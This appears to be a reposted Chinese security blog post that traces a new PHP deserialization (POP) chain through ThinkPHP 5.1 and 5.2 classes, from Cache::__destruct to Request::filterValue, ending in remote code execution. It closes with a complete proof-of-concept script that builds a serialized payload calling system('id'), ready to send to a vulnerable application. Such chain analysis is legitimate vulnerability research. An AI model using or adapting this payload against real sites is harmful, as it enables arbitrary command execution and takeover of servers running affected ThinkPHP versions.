作者:G2602914553 | 来源:互联网 | 2023-09-04 22:32
前几天整体看完Laravel的POP链,顺便想看看Thinkphp的POP链,也有很多师傅都已经分析过了5.x和6.x的反序列化利用链。复现了一个5.1的POP链后,自己尝试挖掘了一下5.2的POP
![](https://img.php1.cn/3cd4a/9b0d/ae9/2d998ad7838fbf16.jpeg)
前几天整体看完Laravel的POP链,顺便想看看Thinkphp的POP链,也有很多师傅都已经分析过了5.x和6.x的反序列化利用链。复现了一个5.1的POP链后,自己尝试挖掘了一下5.2的POP链,发现了一条对于5.1和5.2是通杀的POP链,并且和师傅们找的都不大相同,就把思路分享出来。
分析完了Laravel的,不得不说ThinkPHP可利用的初始类是真的少,__destruct
和__wakeup
也就那么几个,师傅们大多都是利用thinkprocesspipesWindows
类的__destruct
,后续再利用__toString
继续寻找利用链。
POP链分析
我一开始就换了个初始类,最后在thinkCache
找到了些苗头,利用它的__destruct
函数。
![](https://img.php1.cn/3cd4a/1eebe/cd5/d05d9dfd09a56332.webp)
跟进commit函数,$this->deferred
是可控的,save函数参数也就是可控的。
![](https://img.php1.cn/3cd4a/1eebe/cd5/b428d8f746fb8d47.webp)
再跟进save函数,$item
完全可控,它必须是一个CacheItemInterface
对象。
![](https://img.php1.cn/3cd4a/1eebe/cd5/4283cd4bbba41b87.png)
找到thinkcacheCacheItem
类,发现$item->getKey()
, $item->get()
, $item->getExpire()
都是可控的。
![](https://img.php1.cn/3cd4a/9b0d/ae9/2d998ad7838fbf16.jpeg)
![](https://img.php1.cn/3cd4a/1eebe/cd5/780a3060eeed6a4e.webp)
![](https://img.php1.cn/3cd4a/1eebe/cd5/5b97d3b808d031e2.webp)
回到save函数,跟进set函数。
![](https://img.php1.cn/3cd4a/1eebe/cd5/bcafc120671304eb.webp)
跟进init函数,可以看到,我们将$this->handler
设置为任意对象他都会返回。
![](https://img.php1.cn/3cd4a/1eebe/cd5/dc7ef30f57b727c7.jpeg)
现在全局搜索含有set
函数的类,在thinkcachedriverMemcached
找到。
![](https://img.php1.cn/3cd4a/1eebe/cd5/b386c433a16f5497.webp)
跟进其中的has函数,我们看到$this->handler
又是可控的,又可以返回任意对象。
![](https://img.php1.cn/3cd4a/1eebe/cd5/bdd1ca32a69bc8b2.webp)
再全局搜索get函数,看到think/Request
里面有,分析过最开始的5.1反序列化的POP链的人都知道,最后的RCE点就在这个类。get函数里有input函数,前两个参数完全可控。
![](https://img.php1.cn/3cd4a/1eebe/cd5/99b88427bc9ce0dc.webp)
进入input函数,想要进入下面的filterData函数且满足第一个参数可控
![](https://img.php1.cn/3cd4a/1eebe/cd5/1e3db12dd78db092.webp)
那么我们进入getData函数,我们知道$data
和$name
都是可控的,那么getData函数的返回也是可控的。
![](https://img.php1.cn/3cd4a/1eebe/cd5/72fd2c126203a875.webp)
然后顺利进入filterData函数。
![](https://img.php1.cn/3cd4a/1eebe/cd5/dc7ef30f57b727c7.jpeg)
因为getFilter函数中的$this-filter
可控,所以getFilter函数也是可控的。
![](https://img.php1.cn/3cd4a/1eebe/cd5/5287a7b3296ea13e.webp)
最后进入filterValue函数,终于到了RCE的点了。
![](https://img.php1.cn/3cd4a/1eebe/cd5/0d80e8a685a9a87b.png)
最后测试
![](https://img.php1.cn/3cd4a/1eebe/cd5/45a090220e38e09d.webp)
namespace think{
class Cache{
protected $deferred;
protected $handler;
function __construct($Memcached, $CacheItem){
$this->handler = $Memcached;
$this->deferred = array('' => $CacheItem);
}
}
}
namespace thinkcache{
class CacheItem{
protected $key;
protected $value;
protected $expire;
function __construct($name, $value){
$this->key = $name;
$this->value = $value;
$this->expire = null;
}
}
}
namespace thinkcachedriver{
class Memcached{
protected $option;
protected $handler;
protected $tag = 1;
protected $writeTimes = 0;
function __construct($Request){
$this->handler = $Request;
$this->option = array('prefix'=>'');
}
}
}
namespace think{
class Request
{
protected $filter;
protected $get;
protected $mergeParam;
function __construct(){
$this->filter = "system";
$this->get = array("jrxnm"=>"id");
$this->mergeParam = true;
}
}
}
namespace{
$r = new thinkRequest();
$c = new thinkcacheCacheItem('jrxnm', '');
$m = new thinkcachedriverMemcached($r);
$b = new thinkCache($m,$c);
echo urlencode(serialize($b));
}
总结
找POP链是一个很有意思的事情,那种一环扣一环、利用PHP各种特性最后RCE的POP链是最让人拍案叫绝的。